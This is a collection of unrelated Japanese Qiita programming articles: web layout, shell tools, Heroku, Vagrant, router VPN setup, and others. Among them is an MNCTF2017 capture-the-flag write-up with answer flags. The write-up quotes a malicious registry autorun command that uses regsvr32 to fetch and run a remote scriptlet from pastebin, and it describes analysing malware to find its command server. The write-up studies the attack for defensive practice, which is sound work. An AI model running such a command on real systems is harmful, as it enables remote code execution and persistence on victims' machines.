OmniAICreator/Qiita-1.07M huggingface dataset:
angular-cli UIkit flexbox 2カラムレイアウト　レシピ

#２カラムレイアウト
[前回](http://qiita.com/nrainiero/items/7e21523fbc520a7bb80a)はUIkit（UIフレームワーク）を導入したので
今回はみんなのすきな２カラムレイアウトをつくるよ！
ちなみにレスポンシブデザインだよ！

早速つくるね！
sassから編集していくね！

```sass:src/app.component.sass
$nav-height: 80px

#bodypadding
  height: $nav-height

.navbar-fixed
  top: 0
  position: fixed
  width: 100%

@media (min-width: 850px)
  .page-cover
    display: flex
    flex-direction: row
  .main-column
    order: 2
    width: 80%
  .side-column
    order: 1
    width: 20%

@media (min-width: 850px)
  .sidebar
    position: fixed
    top: $nav-height
    bottom: 0
    left: 0
    display: block
    overflow-x: hidden
    overflow-y: auto
    border-right: 1px solid #eee
  .main
    position: fixed
    top: $nav-height
    bottom: 0
    right: 0
    display: block
    overflow-x: hidden
    overflow-y: auto
    border-right: 1px solid #eee
```

次はHTMLに書いていくよ！
前書いたやつは全消してね

```html:app.component.html
<nav class="navbar-fixed uk-navbar-container uk-margin" uk-navbar>
  <div class="uk-navbar-center">
    <div class="uk-navbar-center-left">
      <div>
        <ul class="uk-navbar-nav">
          <li><a href="#">item</a></li>
        </ul>
      </div>
    </div>
    <a class="uk-navbar-item uk-logo" href="#">Official Site</a>
    <div class="uk-navbar-center-right">
      <div>
        <ul class="uk-navbar-nav">
          <li><a href="#">Item</a></li>
        </ul>
      </div>
    </div>
  </div>
</nav>

<div id="bodypadding"></div>

<div class="page-cover">
  <!-- メインを作るブロック -->
  <div class="main-column main">
    <div class="uk-container">
      <h1>メインコンテンツはここに</h1>
      <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
    </div>
  </div>
  <!-- メインを作るブロック -->

  <!-- サイドを作るブロック -->
  <div class="uk-card uk-card-default uk-card-body uk-width-1-2@s side-column sidebar">
    <ul class="uk-nav-default uk-nav-parent-icon" uk-nav>
      <li class="uk-active"><a href="#">Active</a></li>
      <li class="uk-parent">
        <a href="#">Parent</a>
        <ul class="uk-nav-sub">
          <li><a href="#">Sub item</a></li>
          <li><a href="#">Sub item</a></li>
        </ul>
      </li>
      <li class="uk-parent">
        <a href="#">Parent</a>
        <ul class="uk-nav-sub">
          <li><a href="#">Sub item</a></li>
          <li><a href="#">Sub item</a></li>
        </ul>
      </li>
      <li class="uk-nav-header">Header</li>
      <li><a href="#"><span class="uk-margin-small-right" uk-icon="icon: table"></span> Item</a></li>
      <li><a href="#"><span class="uk-margin-small-right" uk-icon="icon: thumbnails"></span> Item</a></li>
      <li class="uk-nav-divider"></li>
      <li><a href="#"><span class="uk-margin-small-right" uk-icon="icon: trash"></span> Item</a></li>
    </ul>
  </div>
  <!-- サイドを作るブロック -->
</div>
```

こんな感じになるよ

![image.png](https://qiita-image-store.s3.amazonaws.com/0/109713/e41bfdd7-d296-0ed1-3b9b-ad24f8fbf172.png)

説明少なくてすいません
どろん♨
commコマンドを利用して、２つのファイルから片方・両方に存在する行を調べる

## 目的
２つのテキストファイルがあり、両方に存在する行のみを知りたい。

```shell-session:a.csv
1
22
333
4444
```

```shell-session:b.csv
1111
22
3333
```

## 方法：commコマンドを利用する

### commコマンドとは
２つのファイルを比較し、FILE1のみに存在する値、FILE2のみに存在する値、両方に存在する値をそれぞれ出力する。

```shell-session
$ comm [-1] [-2] [-3] FILE1 FILE2
```

オプション|意味
---|---
-1|１列目を表示しない
-2|2列目を表示しない
-3|3列目を表示しない

### 利用例

オプション無しで比較すると、左からa.csvのみに存在するもの、b.csvのみに存在するもの、両方に存在するものが表示される。

```shell-session
$ comm a.csv b.csv
1
        1111
                22
333
        3333
4444
```

`-1`を指定すると、a.csvのみに存在するものは表示されない。

```shell-session
$ comm -1 a.csv b.csv
1111
        22
3333
```

`-2`を指定すると、b.csvのみに存在するものは表示されない。

```shell-session
$ comm -2 a.csv b.csv
1
        22
333
4444
```

`-3`を指定すると、両方に存在するものは表示されない。

```shell-session
$ comm -3 a.csv b.csv
1
        1111
333
        3333
4444
```

`-1 -2`を指定すると、両方に存在するものが表示される。

```shell-session
$ comm -1 -2 a.csv b.csv
22
```

## まとめ
オプションが少し分かりにくいが、使い方を理解すれば簡単に共通行を抽出することができる。大変便利なコマンドであることが分かった。

## 参考
* [Man page of COMM](https://linuxjm.osdn.jp/html/gnumaniak/man1/comm.1.html)
Web Speech APIを使ってみる

# **Speech Synthesis API とは何ぞ？**
指定テキストを音声再生させることができるよ！
JavaScriptでブラウザがあれば実行できるよ！

※対応しているブラウザ一覧は[こちら](http://caniuse.com/#search=Speech%20Synthesis%20API)を参照。

# **使ってみる**
| ブラウザ | OS |
|:--:|:--:|
| [Vivaldi](https://vivaldi.com/?lang=ja_JP)  | macOS Sierra  |

とりあえずF12で開発者ツールを開いて以下を入力する。

~~~javaScript
var text = "うんこはお尻から出てくるらしいよ！";
var ss = new SpeechSynthesisUtterance(text);
speechSynthesis.speak(ss);
~~~

![image.png](https://qiita-image-store.s3.amazonaws.com/0/66178/53df8c59-80e6-225c-ea48-dfddc3dc122f.png)

たったこれだけで合成音声が使える。
世の中便利になったもんだなぁ。

まず、この2つを抑えておけば大丈夫そう。

・SpeechSynthesisUtterance
・speechSynthesis

# **SpeechSynthesisUtterance**
速度やピッチ、言語などの属性を設定できる。
設定出来る属性一覧。

|属性|説明|
|:--|:--|
|text    |読み上げる文字列をセット|
|lang    |言語をセット|
|voiceURI|声の種類をセット|
|volume  |音量の調整|
|rate    |速さの調整|
|pitch   |ピッチの調整|

具体的な属性値は[こちら](http://www.antytle.com/js/speech-synthesis-api)を参照。

# **speechSynthesis**
受け取ったSpeechSynthesisUtteranceオブジェクトを元に音声を合成する。
渡されたオブジェクトはキューに追加され、キューがなくなるまで喋るらしい。

メソッドはこんな感じ。

| メソッド | 説明 |
|:--|:--|
| speak  | キュー追加  |
| cancel  | 全キュー削除  |
| pause  | 一時停止  |
| resume  | 再開  |

# **まとめ**
イメージとしては、
speechSynthesisはCDプレイヤーで、
SpeechSynthesisUtteranceはCDって感じかな。

現実は、CDをプレイヤーにどんどん突っ込めないから良い子は真似しないでね！

~~~javaScript
var ss = new SpeechSynthesisUtterance();
ss.text = "先生は空中回転しながらうんちをした。";
ss.lang = "ja-JP";
ss.voiceURI = "Google 日本人";
ss.volume = 1;
ss.rate = 1;
ss.pitch = 1;

speechSynthesis.speak(ss);
~~~

JavaScriptでできるし、
[Annict](https://annict.com/)のAPI使えば、今日の放送アニメ一覧読み上げてくれるモノもつくれるね！
AWS Mobile HubとUnity

# AWS Mobile HubとUnity
## はじめに
最近、サーバーレスとかmbass(mobile backend as a Service)とか流行っていますが、その流行りの数多い製品の中で、AWSのmbassである 「AWS Mobile Hub」を使用してUnityとつなげてみようかと思います。

## （このページでの）目的
本記事では、AWS Mobile Hubの「認証」(AWS Cognito)
及びビジネスロジック(API Gateway + Lambda)でサーバーレス環境を構築し、
Unityからアクセスできるようにするのが目的となります。
※AndroidやiOSの場合は、MobileHubで設定するだけで、SDKが自動で生成されますが、
Unityはまだサポートしてないようです。そのため、繋ぐ方法をご紹介しようかと思います。

## 前提知識
本記事ではAWS Mobile HubとUnityを繋ぐ方法を共有するのが目的であり、
AWS CognitoやLambdaなどの補足説明は省略します。

※Cognito、Lambdaについては以下のURLを参照してください。 

- AWS Cognito
http://dev.classmethod.jp/cloud/aws/what-is-the-cognito/

- AWS API Gatewayと Lambda
https://www.cresco.co.jp/blog/entry/445/

## やりたいこと
 - UnityのクライアントアプリからFacebook→Cognito認証を行い、ログインする。
 - ログイン後、APIを投げてLamdaからの適切なレスポンスをもらう。
![enterprise-mobile-hub_inventory-management-app.png](https://qiita-image-store.s3.amazonaws.com/0/81150/e1fa0b72-c9ca-3d01-455a-b055121b4872.png)

※上記の画像はAWS公式サイトから持ってきました。

## 手順
### 1)AWS側
##### 1. AWS Mobile Hubにてプロジェクト作成
 - 「AWS Mobile Hub」ページへ移動し、「Create a new project」ボタンを押してプロジェクトを新しく生成します。
<img width="872" alt="스크린샷 2017-07-06 22.26.27.png" src="https://qiita-image-store.s3.amazonaws.com/0/81150/42c35222-37fa-6a66-da32-6084c1ecc825.png">

 - プロジェクトが生成されると以下のようなページが表示されと思います。
 　その中で今回は、「User Sign-in」（Cognito)と「CloudLogic」(API Gateway + Lambda)だけを作成するようにします。
<img width="1352" alt="스크린샷 2017-07-06 22.27.07.png" src="https://qiita-image-store.s3.amazonaws.com/0/81150/03301339-f846-1e65-dcac-8f3503356a42.png">

##### 2. Cognito作成
 - 「User Sign-in」をクリックすると以下のようなページが表示されます。
　今回はFacebookと連動しますので、「Facebook Login」を選択し、「Facebook APP ID」を入力します。
<img width="1409" alt="스크린샷 2017-07-06 22.27.55.png" src="https://qiita-image-store.s3.amazonaws.com/0/81150/e45cb06f-7c97-70b6-93a4-d7f04d49ee67.png">
※事前にFacebook APP IDは作成して置いてください。

##### 3. CloudLogic作成
- 「Cloud Logic」をクリックすると以下のようなページが表示されると思います。
「Create new API」をクリックし、新しいAPIを生成します。
<img width="1432" alt="스크린샷 2017-07-06 22.29.05.png" src="https://qiita-image-store.s3.amazonaws.com/0/81150/7af4063d-ab76-681e-fea4-0b1eb84a09fc.png">

- 「API　Name」と「Path」設定
<img width="821" alt="스크린샷 2017-07-06 23.08.16.png" src="https://qiita-image-store.s3.amazonaws.com/0/81150/1d624d85-a875-66db-9d33-eb56853f6919.png">

これでAWS側は設定完了です。次はUnity側で繋ぐ準備を行います。
### 2) Unity側
##### 1. Unityのテストプロジェクトを生成する。

##### 2. Facebook SDKダウンロード&インポート
ダウンロードページ
https://developers.facebook.com/docs/unity/

上記でダウンロードしたものを自分のUnityプロジェクトへインポートする。

##### 3. AWS Mobile SDK for Unity ダウンロード&インポート
ダウンロードページ
http://docs.aws.amazon.com/mobile/sdkforunity/developerguide/what-is-unity-plugin.html

`AWSSDK.IdentityManagement.X.X.X.X.unitypackage` ファイルをUnityプロジェクトへインポート

##### 4. 以下のcsファイルをディレクトリごと、Unityプロジェクトへインポートhttps://github.com/guywald/serverless-auth-msg-board-unity3d-client/tree/master/Assets/AWSSigners 


ここまでできたら、AWS側に繋ぐための準備はOKです。
繋ぐためのロジックの実装は次回説明します。
Dangerでコンパイラ警告をコメントする

Dangerを導入して、Rubyをほんの少し触ったので、備忘ついでです。

# Danger導入

[Cookpadの記事](http://techlife.cookpad.com/entry/2017/06/28/190000)を見て[Danger](http://danger.systems/ruby/)を導入してみました。

導入もそれほど苦労せず、実際にBOT稼働まで半日かかったくらいでした。

# 内情

AndroidLintをコメントしてくれるようにはできたのですが、コンパイラ警告を拾ってくれるプラグインがないため、自分で警告をコメントするようにしてみました。
コンパイラ警告を無視しないでくれれば一番いいのですが・・

# 実装

```ruby:Dangerfile
regexp = /^w: #{Dir.pwd}\/(?<file>.*): \((?<line>[0-9]+), .*\): (?<message>.*)$/
File.foreach('stdout.log') do |line|
    match = regexp.match(line) || next
    message = match[:message]
    file = match[:file]
    line = match[:line].to_i
    warn(message, file: file, line: line)
end
```

上記に加えて、CI側でビルドタスクのログを`stdout.log`に出力させる必要があります。
JsonnetをVisual Studio Codeで使う

この記事でJsonnetというものの存在を知った。
[Jsonnetの薦め - Qiita](http://qiita.com/yugui/items/f4a5e0e9dbd8ddffa48e)

Googleの20%プロジェクトから生まれたみたい。
Visual Studio Codeで使えないかなーと思ったら拡張機能があったので、その紹介です。


## 拡張機能のインストール
[Jsonnet - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=heptio.jsonnet)

## vscode-jsonnetのインストール
[heptio/vscode-jsonnet: Jsonnet language extension for vscode](https://github.com/heptio/vscode-jsonnet)
拡張機能をいれただけでは動作しません。
brewでインストールします。

```
brew install jsonnet
```


## 実行
Jsonnetを実行する（ファイルは保存しておかないとダメです）
![image.png](https://qiita-image-store.s3.amazonaws.com/0/35595/ac75ab6c-9ed9-716c-a8ab-d9ba5cf7b369.png)

実行後
![image.png](https://qiita-image-store.s3.amazonaws.com/0/35595/92b26339-882f-3710-6aac-12f567054275.png)

上の画像を見てもらえればわかるようにデフォルトはyaml形式になる。
Jsonnetって名前なのになぜyamlなのだろう。

JSONにしたい場合は、設定画面から変えればOK。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/35595/2c7d8f0d-a956-1d35-56d6-eb3b87eddc14.png)
指定フォーマットでオブジェクト(文字、数)を埋め込む

参考：[知って得する！５５のRubyのトリビアな記法](http://melborne.github.io/2013/03/04/ruby-trivias-you-should-know-4/)

cやphpなどにもあるsprintfはrubyにもあります。
ただ、`%`を使えば、指定フォーマットに埋め込むような同じ処理ができます。


```ruby
sprintf("テスト%sですよ", "hoge")
# => "テストhogeですよ"

"テスト%sですよ" % "hoge"
# => "テストhogeですよ"

"テスト%dですよ" % 1
#=> "テスト1ですよ"
```

また、`%`は配列・ハッシュも受け取ることができます。

```ruby
 "I love %s, not %s" % [:ruby, :java]
# => "I love ruby, not java"

 "I love %{b}, not %{a}" % {a: :java, b: :ruby}
# => "I love ruby, not java"
```

フォーマットのおさらいはこちらで:chicken:『[sprintfフォーマット](https://docs.ruby-lang.org/ja/latest/doc/print_format.html)』
AntでDoma1をビルドする

```xml

    
    <!-- META-INFのコピー -->
    <target name="copy">
        <copy todir="WEB-INF/classes" filtering="true">
            <fileset dir="WEB-INF/src">
                <include name="META-INF/**" />
            </fileset>
        </copy>
    </target>

    <!-- プロジェクトのビルド -->
    <target depends="copy" name="build-project">
        <javac destdir="WEB-INF/classes" includeantruntime="false" encoding="UTF-8" debug="true">
            <src path="WEB-INF/src" />
            <classpath refid="hogehoge.classpath"/>
            <compilerarg line="-Adao.subpackage=impl -Adao.suffix=Impl -Adebug=false "/>
            <compilerarg line="-s .apt_generated" />
        </javac>
    </target>

```

### ポイント
- META-INF(SQLがあるディレクトリ) は ビルド先のディレクトリにコピー
- `<compilerarg line="-s .apt_generated" />` 注釈処理で生成したソースファイルは適当なディレクトリに吐き出す
- `<compilerarg line="-Adao.subpackage=impl -Adao.suffix=Impl -Adebug=false "/>` を指定する

最後のがないとうまくうごかなかった


## 参考
http://doma.seasar.org/reference/app_build.html#Ant%E3%81%AB%E3%82%88%E3%82%8B%E3%83%93%E3%83%AB%E3%83%89
http://doma.seasar.org/reference/apt.html

公式の注釈処理のサンプルコードが間違っている気がする
MNCTF2017WritesUP

マクニカネットワークさん主催のMNCTFに参加してきたので記念にWritesUpを投稿しておきます。
MNCTF
http://mnctf.info/mnctf2017/
**注意　FLAGを白文字で記載していますので、MNCTFに挑戦される方はご注意ください**

#昇格試験
MNCTF恒例のクロスワードパズル
横
２　lsコマンド実行前後でアクセス権が変化しているので
　　chmod
４　与えられた数字を因数分解している
　　factor
７　load averageが出力結果が出ているので
　　uptime
縦
１プロセスの親子関係の表示
　pstree
２ カレンダー表示しているので
　 cal
３　異なる二つのファイルの差分を出力
　 diff
５ 文字列の整形を行っている
　　http://command.appios.net/#index_c
　　上記から頭文字がC、文字数が6文字のコマンドからcolumn
６　７の横以上に様々な情報が出力されている以下のURLを参照し
     http://qiita.com/k0kubun/items/8065f5cf2da7605c8043
　　top
全て入力すると
![昇格試験1.png](https://qiita-image-store.s3.amazonaws.com/0/156890/cadecc53-d25e-7d7b-74b6-dd575c34cf1a.png)

**FLAG**
<font color="White">**f148052f5b4eea45dd395d6f45fb19ea**</font>

#不審起動
以下のレジストリが登録されていることが問題文で示されている

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"
このURL先に記載されているdllを登録しているものと思われる
https://pastebin.com/raw/8CUEUgix
確認してみるとURLエンコードされたスクリプトが記載されている
問題文内に通信先のFQDNを答えよとあるので
通信先になりそうな文字を探す
URLという文字があるので通信先と疑ってみる
var _0x5bdd=　からcatch(_0x5babc9){}}までの文字列を
URLdecodeすると以下の結果になる
![不審起動2.png](https://qiita-image-store.s3.amazonaws.com/0/156890/3a417a63-5af8-a26d-104e-546cf87808a3.png)
先ほどのURLの文字列で検索をかけると
{url=～
と通信先のFQDNが記載されている
**FLAG**
<font color="White">**mtip.macnica.net**</font>


#宛先暗号
svchost.exeがマルウェア本体と記載されているので
EDRのログからsvchost.exeを検索する
次にMD5から通常のファイルのハッシュ54～ではなく7c～でフィルターすると
マルウェアの実行コマンドラインの
svchost.exe  abcd vm.dat
が検出される
ここでコマンドプロンプトから上記のコマンドラインを実行して
WiresharkやFiddlerで通信先の特定を行うとするもそもそも何も通信が発生していない
なので、実行ファイル内に記載があると思われるのでIDAPROによる解析を試みる。
IDAPROで入力ファイルの指定やコマンドラインパラメーターの指定は
Debugger→Process　Options
Input Files　にvm.dat　
Parameters　 にabcd vm.dat
で指定
exe内を見て通信先と思われるhttpの名前がある付近にBreakPointをセットし
デバックする![不審起動5.png](https://qiita-image-store.s3.amazonaws.com/0/156890/8e77210b-42fd-fb0c-dbf9-cb11ad684b86.png)
レジスタを確認するとEDXレジスタに怪しい文字列が存在するので
該当メモリ番地を確認すると通信先のURLが記載されている
**FLAG**
<font color="White">**shinobot.com**</font>

#脅迫文書
攻撃者から送られてきた画像内のリンクにアクセスする
.onionドメインなのでTORブラウザを利用しないとアクセスできない
該当URLにアクセスするとパスワードが求められるが攻撃者の画像にある
0b3y!!を入力
入力後、攻撃者のメール通りアカウントが公開されており、FLAGが記載されている
![脅迫文書2.png](https://qiita-image-store.s3.amazonaws.com/0/156890/e6503bc2-9b34-6181-1144-12704ba4adf3.png)


**FLAG**
<font color="White">**TORPASTEBIN**</font>

#通信記録
~~なんとなく入力したら当たってた~~
パケットキャプチャ内を確認するとSMB内でWindowsのリモートコマンドが実行されているのが
分かる
SMBプロトコルが多いので最近のSMBを利用したマルウェアで有名な「WannaCry」が思い当たり
WannaCryが利用する脆弱性を入力した所、見事に当たっていた
**FLAG**
<font color="White">**eternalblue**</font>
Rails: viewでany?を使うときに気をつける点



ケース：`feed_items`をviewで表示させる

エラー： `undefined method any? for nil:NilClass`

なぜか：　`@feed_items`のfeedがない
　　　　=>`nil`を返す
　　　　=>nilは`any?`メソッドを持っていない
　　　　=>エラー

どうすればいいか：　`feed`は`todo`なので、`todos_controller`の`create`メソッドに`@feed_items = []`を追加してnilを避ける。
　

```ruby
###static_pages_controller.rb
class StaticPagesController < ApplicationController
  def home
    if signed_in?
        @todo = current_user.todos.build
        @feed_items = current_user.feed.paginate(page: params[:page])
    end
  end
end
```

```ruby
###User.rb
def feed
  # This is preliminary. See "Following users" for the full implementation.
  Todo.where("user_id = ?", id)
end
```

```html+erb
<!--home.html.erb-->
 <% if @feed_items.any? %>
  <ol class="todos">
      <%= render partial: 'shared/feed_item', collection: @feed_items %>
  </ol>
```
SASSを使ってみようと思った時に役立てそうなリンク集

### SASSを使う準備をする
- [Windows10にRubyGemsをインストールする方法 - Qiita](http://qiita.com/ponsuke0531/items/b9036afd4a28f99e89c5)
- [RubyGemsでSASSとCompassとSASS版Bootstrapをインストールする方法 - Qiita](http://qiita.com/ponsuke0531/items/ad8b196ce1813a5d7f97)
- [BundlerでSASSとCompassとSASS版Bootstrapをバージョン指定してインストールする方法 - Qiita](http://qiita.com/ponsuke0531/items/958c0c4046209f8ce597)
- [Sass + Compass の基本導入と設定ファイル config.rb について | WP-D](https://wp-d.org/2013/01/03/1732/)
- [Bootstrap 3 Sassの使い方 | Webエンジニアブログ](http://dim5.net/css-framework/bootstrap3-sass-customize.html)

### コマンドを使ってみる
- [Sassコマンドの使い方を覚えよう | Web制作者のためのSassの教科書 - 公式サポートサイト](http://book.scss.jp/code/c2/04.html)
- [SASS初心者がSASSコマンドでSASSファイルを監視する時に知っておいたほうがいいこと - Qiita](http://qiita.com/ponsuke0531/items/b749daaf3e2316ef9e7f)

### SASS関連の設定をする
- [Memo, gulp-ruby-sassのsourcemap出力を止めたい « イナヅマTVログ](http://www.inazumatv.com/contents/archives/9891)
- [config.rb &#8211; Compassの設定ファイル| Sass | [Smart]](http://rfs.jp/sb/css/sass/sass10_config.html)
- [Windows上のSASS（SCSS）でUTF-8を使う方法（Invalid Windows-31J characterエラーが出る場合の対処） | TeraDas－テラダス](http://www.teradas.net/archives/18464/)
【herokuコマンド】環境変数



herokuにて環境変数周りの操作です。


###環境変数一覧表示
```
$heroku config
```

オプションを付けることによって、表示形式を変更することができます。

```
$heroku config --shell

or 

$heroku config --json
```


###環境変数を指定して値を表示
```
$heroku config:get ENV_NAME
```

###環境変数の設定
```
$heroku config:set ENV_NAME=value
```

複数の環境変数を一度に設定することも可能です。

```
$heroku config:set ENV_NAME_1=value1 ENV_NAME_2=value2
```

###環境変数の削除
```
$heroku config:unset ENV_NAME
```

環境変数の設定と同様、複数の環境変数を一度に削除することも可能です。

```
$heroku config:unset ENV_NAME_1 ENV_NAME_2
```


###参考
* [公式ページ](https://devcenter.heroku.com/articles/heroku-cli-commands#config)
Gethを用いたマイニングでコンソールログを外部へ流す方法

コンソールが流れて記述したコマンドとその結果がログで流れるので、コンソールを外部へ流す。



> 2>> "./geth.log" console

上記のコマンドを入力する。

ただし、gethを立ち上げるときに利用すると思うので、

> geth --datadir ${HOME}/eth_private_net 2>> "./geth.log" console 

のような形でコマンドを入力すると良い。
HerokuでRedis


- [以前の記事（MacでRedis）](http://qiita.com/qoAop/items/c1ea11fef036a89c7d39)で作ったプログラムをherokuで動かしてみます。
- heroku自体は利用できることを前提としてます。

# プログラム構成

- tree コマンドの結果はこんな感じです。
- virtualenvの環境も一緒にはいってます。

```
.
├── Procfile
├── __pycache__
├── app.py
├── bin
├── include
├── lib
├── pip-selfcheck.json
├── requirements.txt
└── runtime.txt
```

### requirements.txt

- 必要なライブラリを記述してます。
- ```pip freeze > requirements.txt```でできます。
- 具体的には、下記のようになってます。

```
click==6.7
Flask==0.12.2
gunicorn==19.7.1
itsdangerous==0.24
Jinja2==2.9.6
MarkupSafe==1.0
redis==2.10.5
Werkzeug==0.12.2
```

### runtime.txt

- 稼働させるpythonのバージョンを記述します。
- 具体的には、下記のようになってます。

```
python-3.6.0
```

### Procfile

- herokuのwebサーバはgunicornを使用するので設定ファイルを記述します。
- 具体的には、下記のようになってます。
- app.pyなので、app:appてなっちゃうのでわかりずらいですねｗ

```
web: gunicorn app:app --log-file -
```

# Heroku Redis

## 注意！

- herokuの無料コースで試せますが、redisを使うためには認証のためにクレカの登録が必要です。
- redisのプラグインも無料コースを選べます。

## プラグインの設定

- heroku cliを使います。Webのコンソールでもできます。

```
% heroku plugins:install heroku-redis                                                                                Installing plugin heroku-redis... done
```

- プラグインを追加するとredisが使えるようになってます。

```
% heroku config -a APP_NAME
=== APP_NAME Config Vars
LANG:      ja_JP.utf8
REDIS_URL: redis://h:pc16fb4fb5781c56263fe9b8ac2〜〜〜2980da@ec2-34-〜〜〜.compute-1.amazonaws.com:9289
TZ:        Asia/Tokyo
```

- LANGとTZは別に設定しました。REDIS_URLという環境変数がポイントですね。

## ソースコード

- 環境変数がなければデフォルト値でローカルマシンにも対応するようにしてます。

```python:app.py
import os
import sys
import redis
import random
from flask import Flask
from datetime import datetime as dt

app = Flask(__name__)

# 接続パス、環境変数にあればそれ優先
REDIS_URL = os.environ.get('REDIS_URL') if os.environ.get(
    'REDIS_URL') != None else 'redis://localhost:6379'
# データベースの指定
DATABASE_INDEX = 1  # 0じゃなくあえて1
# コネクションプールから１つ取得
pool = redis.ConnectionPool.from_url(REDIS_URL, db=DATABASE_INDEX)
# コネクションを利用
r = redis.StrictRedis(connection_pool=pool)

@app.route('/')
def root():
    return '{"status":"OK"}'

@app.route('/get')
def get():
    n = random.randrange(len(r.keys()))
    key = r.keys()[n]
    return str(r.get(key))

@app.route('/set')
def set():
    tdatetime = dt.now()
    key = tdatetime.strftime('%Y-%m-%d %H:%M:%S')
    r.set(key, {'val': key})
    return '{"action":"set"}'

if __name__ == '__main__':
    app.run(threaded=True)

```
Vagrantで立てたVMにSSHするまで (Windows)

MacやLinux上でVagrantで仮想マシンを立ててリモートログインするまでは簡単なのだけど、Windowsでは直接 `vagrant ssh` が叩けないので手順が多少面倒になる。
そのため、Windows上でVagrantを使って立てた仮想マシンにログインするまでの手順をここに記しておく。

なお、本稿ではsshクライアントとしてputtyを使用する。
また、Vagrantおよびputtyのインストール方法については割愛する。

## 問題
`vagrant up` で立てたVMに対してputtyなどからSSHでコンソールを取ろうとしたとき、『No supported authentication methods available (server sent: public key)』というエラーが出てログインができない。

## 解決法

### insecure_private_keyをPuTTY形式(.ppk)に変換
http://qiita.com/pakiran/items/eeeb736cbef5d8b609db に手順が書いてある。

1. PuTTYgen utilityを開く
2. Loadボタンを押す
3. ` C:\Users\ユーザ名\.vagrant.d\` ディレクトリに移動 (Windows 10)
4. insecure_private_keyファイルをダブルクリック
    - 表示されない場合は ファイルの拡張子 を `All Files (*.*)` に指定
5. 画面下部の『Number of bits in a generated key』の欄を2048にする
6. Save private keyボタンを押し、ppk形式で保存

### Vagrantfileの設定
1. `vagrant init`して`Vagrantfile`を作成する
2. 作成されたVagrantfileに `config.ssh.insert_key = false`を追記する。
    - この設定を入れると、 `C:\Users\ユーザ名\.vagrant.d\insecure_private_key` に対応する公開鍵が仮想マシンに登録される。
3. `vagrant up`で仮想マシンを起動

### SSHでログインする
1. Connection > SSH > Auth をクリック
2. 「Browse」と書かれたボタンを押して先程ppk形式で保存したファイルを選択
3. Sessionの欄にログインに必要な情報を入力

上記の手続きで、ログインができる。

### (参考) Vagrantfileの設定例

```ruby:Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
  config.vm.box = "debian/stretch64"

  # 追記した箇所
  config.ssh.insert_key = false

  config.vm.network "private_network", ip: "192.168.33.10"

  config.vm.provider "virtualbox" do |vb|
    vb.memory = "2048"
  end
end
```
【メモ】Laravelでメール送信機能を実装してローカル環境でテストするやり方

logドライバを使って、```strage/logs/laravel.log```にログを出力して確認する
以下を参考にすれば出来る


【参考】
https://readouble.com/laravel/5.4/ja/mail.html

https://laravel10.wordpress.com/2015/02/22/%E3%83%A1%E3%83%BC%E3%83%AB%E3%81%AE%E7%92%B0%E5%A2%83%E8%A8%AD%E5%AE%9A/
Metatrader EAの運用成績をちょっと変わった観点で分析してみた

実口座で運用しているEAの成績を、ちょっと変わった観点で分析してみました。

# 通貨ごとの取引回数
![image.png](https://qiita-image-store.s3.amazonaws.com/0/189952/9d669aaa-42a9-c392-f87e-703bfaa73fab.png)

* AUDCADが24.4%であり、一番ポジっていた（意外）
* 現在、31個のEAを運用中なので、トレードにおける通貨取引の把握が難しく、割合を外観できたのはよかった。

# 時間別にみた取引回数
![image.png](https://qiita-image-store.s3.amazonaws.com/0/189952/830c89c3-8633-c712-44f7-3ef4d240a8ab.png)

* 一番取引が多い時間が10:00代の9.2%であった。
* 朝スキャ向けのEAが大活躍らしい。
Phoenixのlinkタグ


Railsで記述可能なことは、Phoenixでも可能だと信じて、やはり可能だった件。
linkタグの文字に、スタイルを適用したいという場合の対応。

```
    <%= link "リンク", to: page_path(@conn, :index), class: "logo" %>
```


```
    <%= link to: page_path(@conn, :index), class: "logo" do %>
      <span class="logo"><b>リンク</b></span>
    <% end %>
```

do - end で囲む。
参考になれば。
YAMAHA RTX1210でtunnel templateを使う

## これまで

例えば同時接続数3件だと

```
pp select anonymous
 pp bind tunnel1-tunnel3

(中略)

tunnel select 1
 tunnel encapsulation l2tp
 ipsec tunnel 1
  ipsec sa policy 1 1 esp aes-cbc sha-hmac
  ipsec ike keepalive use 1 off
  ipsec ike nat-traversal 1 on
  ipsec ike pre-shared-key 1 text himitsudayo
  ipsec ike remote address 1 any
 l2tp tunnel disconnect time off
 ip tunnel tcp mss limit auto
 tunnel enable 1
tunnel select 2
 tunnel encapsulation l2tp
 ipsec tunnel 2
  ipsec sa policy 2 2 esp aes-cbc sha-hmac
  ipsec ike keepalive use 2 off
  ipsec ike nat-traversal 2 on
  ipsec ike pre-shared-key 2 text himitsudayo
  ipsec ike remote address 2 any
 l2tp tunnel disconnect time off
 ip tunnel tcp mss limit auto
 tunnel enable 2
tunnel select 3
 tunnel encapsulation l2tp
 ipsec tunnel 3
  ipsec sa policy 3 3 esp aes-cbc sha-hmac
  ipsec ike keepalive use 3 off
  ipsec ike nat-traversal 3 on
  ipsec ike pre-shared-key 3 text himitsudayo
  ipsec ike remote address 3 any
 l2tp tunnel disconnect time off
 ip tunnel tcp mss limit auto
 tunnel enable 3

(中略)

ipsec transport 1 1 udp 1701
ipsec transport 2 2 udp 1701
ipsec transport 3 3 udp 1701
```

とかやってたんですが。
接続する人が増えた＋台風襲来予告があり、同時接続数を一気に増やさなきゃいけないなーと。
めんどいけどさっくりスクリプト書いて投入しようかなーと思ったら、templateなるものがあることに気づいたわけで。

## template使うとこうなる

以下は同時接続数10まで増やした場合。

```
pp select anonymous
 pp bind tunnel1-tunnel10

(中略)

tunnel select 1
 tunnel template 2-10
 tunnel encapsulation l2tp
 ipsec tunnel 1
  ipsec sa policy 1 1 esp aes-cbc sha-hmac
  ipsec ike keepalive use 1 off
  ipsec ike nat-traversal 1 on
  ipsec ike pre-shared-key 1 text himitsudayo
  ipsec ike remote address 1 any
 l2tp tunnel disconnect time off
 ip tunnel tcp mss limit auto
 tunnel enable 1
tunnel select 2
 ip tunnel tcp mss limit auto
tunnel select 3
 ip tunnel tcp mss limit auto
tunnel select 4
 ip tunnel tcp mss limit auto
tunnel select 5
 ip tunnel tcp mss limit auto
tunnel select 6
 ip tunnel tcp mss limit auto
tunnel select 7
